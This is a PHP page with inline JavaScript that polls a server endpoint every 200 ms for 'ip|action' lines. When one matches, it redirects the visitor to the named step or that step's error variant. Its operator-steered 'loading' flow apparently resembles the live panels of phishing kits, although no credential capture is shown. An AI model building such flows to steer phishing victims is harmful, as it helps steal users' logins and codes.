<?php

$scriptName = $_SERVER['SCRIPT_NAME'] ?? '';

$loadingCheckUrl = dirname(dirname($scriptName)) . '/loading/check.php';

?>

<script>

var __ipPoll2 = null;

var __checkBusy2 = false;



function parseIpActionLine(trimmed) {

    var pipe = trimmed.indexOf('|');

    if (pipe !== -1) {

        return {

            lineIp: trimmed.slice(0, pipe).trim(),

            action: trimmed.slice(pipe + 1).trim()

        };

    }

    var colon = trimmed.indexOf(':');

    if (colon === -1) return null;

    return {

        lineIp: trimmed.slice(0, colon).trim(),

        action: trimmed.slice(colon + 1).trim()

    };

}



function getUserIP() {

    checkIP(String(<?= json_encode($_SESSION['ip'] ?? '', JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>).trim());

}



function checkIP(userIP) {

    if (__checkBusy2) return;

    __checkBusy2 = true;

    userIP = String(userIP).trim();

    fetch(<?= json_encode($loadingCheckUrl . '?check', JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>)

        .then(function (response) { return response.text(); })

        .then(function (data) {

            var lines = data.split("\n");

            for (var i = 0; i < lines.length; i++) {

                var trimmed = lines[i].trim();

                if (!trimmed) continue;

                var parts = parseIpActionLine(trimmed);

                if (!parts || !parts.lineIp) continue;

                if (parts.lineIp !== userIP) continue;

                redirectToPage(parts.action, userIP);

                return;

            }

        })

        .catch(function (error) { console.error(error); })

        .finally(function () { __checkBusy2 = false; });

}



function redirectToPage(action, userIP) {

    if (__ipPoll2 !== null) {

        clearInterval(__ipPoll2);

        __ipPoll2 = null;

    }

    var url = '';

    if (action.endsWith('_error')) {

        var baseAction = action.replace('_error', '');

        url = '../' + baseAction + '/?error';

    } else {

        url = '../' + action + '/';

    }

    var deleteUrl = <?= json_encode($loadingCheckUrl . '?delete', JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;

    var body = 'ip=' + encodeURIComponent(userIP);

    fetch(deleteUrl, {

        method: 'POST',

        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },

        body: body,

        keepalive: true

    }).catch(function () {});

    window.location.href = url;

}



getUserIP();

__ipPoll2 = setInterval(getUserIP, 200);

</script>

